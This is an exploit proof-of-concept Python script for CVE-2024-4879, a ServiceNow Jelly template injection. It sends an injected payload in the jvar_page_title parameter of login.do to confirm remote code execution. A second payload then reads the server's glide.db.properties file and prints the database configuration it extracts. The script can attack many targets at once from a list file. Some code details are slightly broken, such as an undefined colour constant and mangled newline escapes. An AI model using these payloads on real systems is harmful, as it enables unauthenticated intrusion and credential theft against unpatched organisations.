ServiceNow Multiple Versions – Input Validation & Template Injection
Proof of Concept (PoC)
poc.py
#!/usr/bin/env python3
"""
# Title : ServiceNow Multiple Versions - Input Validation & Template Injection
# Date: 2025-01-31
# Author: ibrahimsql
# Vendor: ServiceNow
# Version: Vancouver, Washington DC, Utah (various patches)
# affected from 0 before Utah Patch 10 Hot Fix 3
# affected from 0 before Utah Patch 10a Hot Fix 2
# affected from 0 before Vancouver Patch 6 Hot Fix 2
# affected from 0 before Vancouver Patch 7 Hot Fix 3b
# affected from 0 before Vancouver Patch 8 Hot Fix 4
# affected from 0 before Vancouver Patch 9
# affected from 0 before Vancouver Patch 10
# affected from 0 before Washington DC Patch 1 Hot Fix 2b
# affected from 0 before Washington DC Patch 2 Hot Fix 2
# affected from 0 before Washington DC Patch 3 Hot Fix 1
# affected from 0 before Washington DC Patch 4
# Tested on: ServiceNow Platform
# CVE: CVE-2024-4879
# Category: Input Validation
# CVSS Score: 9.8 (Critical)
# CWE: CWE-20 (Improper Input Validation)
# Description:
# ServiceNow Platform contains an input validation vulnerability that allows
# unauthenticated remote code execution. The vulnerability affects Vancouver,
# Washington DC, and Utah releases of the Now Platform.
# Impact:
# - Unauthenticated remote code execution
# - Complete system compromise
# - Data exfiltration
# - Service disruption
# Requirements:
# - requests>=2.25.1
# - colorama>=0.4.4
# - urllib3
# Usage:
# python3 CVE-2024-4879.py -t https://target.service-now.com
# python3 CVE-2024-4879.py -f targets.txt
"""
from colorama import Fore, Style, init
import requests
import argparse
import urllib3
import concurrent.futures
import sys
import re
from urllib.parse import urlparse
# Initialize colorama
init(autoreset=True)
# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class Colors:
RED = Fore.RED
GREEN = Fore.GREEN
YELLOW = Fore.YELLOW
BLUE = Fore.BLUE
WHITE = Fore.WHITE
CYAN = Fore.CYAN
MAGENTA = Fore.MAGENTA
RESET = Style.RESET_ALL
banner = f"""
{Colors.CYAN}
ββββββββββ βββββββββββ βββββββ βββββββ βββββββ βββ βββ βββ βββ ββββββ ββββββββ ββββββ
βββββββββββ βββββββββββ ββββββββββββββββββββββββββββ βββ βββ βββββββββββββββββββββββββββ
βββ βββ βββββββββββββββ ββββββββββββββββ βββββββββββββββββββββββββββββββββββββ ββββββββββββ
βββ ββββ βββββββββββββββββββββββ ββββββββββββββββ ββββββββββββββββββββββββββββββ ββββ βββββββ
ββββββββ βββββββ ββββββββ βββββββββββββββββββββββββ βββ βββββββββββ βββ βββββββ
βββββββ βββββ ββββββββ ββββββββ βββββββ ββββββββ βββ βββ ββββββ βββ ββββββ
{Colors.RESET}
{Colors.YELLOW}ServiceNow Platform Input Validation Vulnerability{Colors.RESET}
{Colors.WHITE}CVE-2024-4879 | CVSS: 9.8 (Critical) | Author: ibrahimsql{Colors.RESET}
"""
class ServiceNowExploit:
def __init__(self, timeout=10, verbose=False):
self.timeout = timeout
self.verbose = verbose
self.session = requests.Session()
self.session.verify = False
def _log(self, level, message, url=""):
"""Enhanced logging with colors and levels"""
timestamp = "[*]"
if level == "success":
print(f"{Colors.GREEN}[+]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}")
elif level == "error":
print(f"{Colors.RED}[-]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}")
elif level == "warning":
print(f"{Colors.YELLOW}[!]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}")
elif level == "info":
print(f"{Colors.BLUE}[*]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}")
elif level == "verbose" and self.verbose:
print(f"{Colors.CYAN}[V]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}")
def validate_url(self, url):
"""Validate and normalize URL format"""
if not url.startswith(('http://', 'https://')):
url = f"https://{url}"
try:
parsed = urlparse(url)
if not parsed.netloc:
return None
return url
except Exception:
return None
def check_target_reachability(self, url):
"""Check if target is reachable"""
try:
response = self.session.get(url, timeout=self.timeout)
if response.status_code == 200:
self._log("info", "Target is reachable", url)
return True
else:
self._log("warning", f"Target returned status {response.status_code}", url)
return False
except requests.exceptions.RequestException as e:
self._log("error", f"Target unreachable: {str(e)}", url)
return False
def exploit_vulnerability(self, url):
"""Main exploit function for CVE-2024-4879"""
try:
# Normalize URL
url = self.validate_url(url)
if not url:
self._log("error", "Invalid URL format")
return False
# Check reachability first
if not self.check_target_reachability(url):
return False
# Construct the exploit payload
exploit_path = "/login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Egs.addErrorMessage(668.5*2);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E"
exploit_url = f"{url}{exploit_path}"
self._log("info", "Testing for CVE-2024-4879 vulnerability", url)
# Send exploit request
response = self.session.get(exploit_url, timeout=self.timeout)
if self.verbose:
self._log("verbose", f"Response status: {response.status_code}")
self._log("verbose", f"Response length: {len(response.text)}")
# Check for vulnerability indicator
if response.status_code == 200 and "1337" in response.text:
self._log("success", "VULNERABLE - CVE-2024-4879 confirmed!", url)
# Attempt to extract sensitive information
info_path = "/login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly:core%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Ez=new%20Packages.java.io.File(%22%22).getAbsolutePath();z=z.substring(0,z.lastIndexOf(%22/%22));u=new%20SecurelyAccess(z.concat(%22/conf/glide.db.properties%22)).getBufferedReader();s=%22%22;while((q=u.readLine())!==null)s=s.concat(q,%22%5Cn%22);gs.addErrorMessage(s);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E"
info_url = f"{url}{info_path}"
try:
info_response = self.session.get(info_url, timeout=self.timeout)
if info_response.status_code == 200:
self._log("success", "Database configuration extracted!")
if self.verbose:
print(f"n{Colors.YELLOW}=== Database Configuration ==={Colors.RESET}")
# Extract and display configuration data
config_data = self._extract_config_data(info_response.text)
if config_data:
print(config_data)
print(f"{Colors.YELLOW}================================{Colors.RESET}n")
except Exception as e:
self._log("warning", f"Failed to extract configuration: {str(e)}")
return True
else:
self._log("error", "Not vulnerable or payload failed", url)
return False
except requests.exceptions.Timeout:
self._log("warning", "Connection timeout", url)
return False
except requests.exceptions.ConnectionError:
self._log("error", "Connection failed", url)
return False
except Exception as e:
self._log("error", f"Unexpected error: {str(e)}", url)
return False
def _extract_config_data(self, response_text):
"""Extract configuration data from response"""
try:
# Look for database configuration patterns
patterns = [
r'glide.db..*?=.*',
r'jdbc..*?=.*',
r'database..*?=.*'
]
extracted_data = []
for pattern in patterns:
matches = re.findall(pattern, response_text, re.IGNORECASE)
extracted_data.extend(matches)
return 'n'.join(extracted_data) if extracted_data else None
except Exception:
return None
def main():
parser = argparse.ArgumentParser(
description="CVE-2024-4879 ServiceNow Platform Input Validation Vulnerability Scanner",
epilog="Examples:n python3 CVE-2024-4879.py -t https://target.service-now.comn python3 CVE-2024-4879.py -f targets.txt -v",
formatter_class=argparse.RawDescriptionHelpFormatter
)
parser.add_argument('-t', '--target', help="Single target to scan")
parser.add_argument('-f', '--file', help="File containing list of targets")
parser.add_argument('-v', '--verbose', action='store_true', help="Enable verbose output")
parser.add_argument('--timeout', type=int, default=10, help="Request timeout in seconds (default: 10)")
parser.add_argument('--threads', type=int, default=10, help="Number of threads for concurrent scanning (default: 10)")
args = parser.parse_args()
if not args.target and not args.file:
parser.print_help()
sys.exit(1)
print(banner)
try:
exploit = ServiceNowExploit(timeout=args.timeout, verbose=args.verbose)
if args.target:
exploit.exploit_vulnerability(args.target)
if args.file:
try:
with open(args.file, 'r') as f:
targets = [line.strip() for line in f.readlines() if line.strip()]
print(f"{Colors.INFO}[*]{Colors.RESET} Scanning {len(targets)} targets with {args.threads} threads...n")
with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:
executor.map(exploit.exploit_vulnerability, targets)
except FileNotFoundError:
print(f"{Colors.RED}[-]{Colors.RESET} File not found: {args.file}")
sys.exit(1)
except Exception as e:
print(f"{Colors.RED}[-]{Colors.RESET} Error reading file: {str(e)}")
sys.exit(1)
except KeyboardInterrupt:
print(f"n{Colors.YELLOW}[!]{Colors.RESET} Scan interrupted by user")
sys.exit(0)
except Exception as e:
print(f"{Colors.RED}[-]{Colors.RESET} Unexpected error: {str(e)}")
sys.exit(1)
if __name__ == "__main__":
main()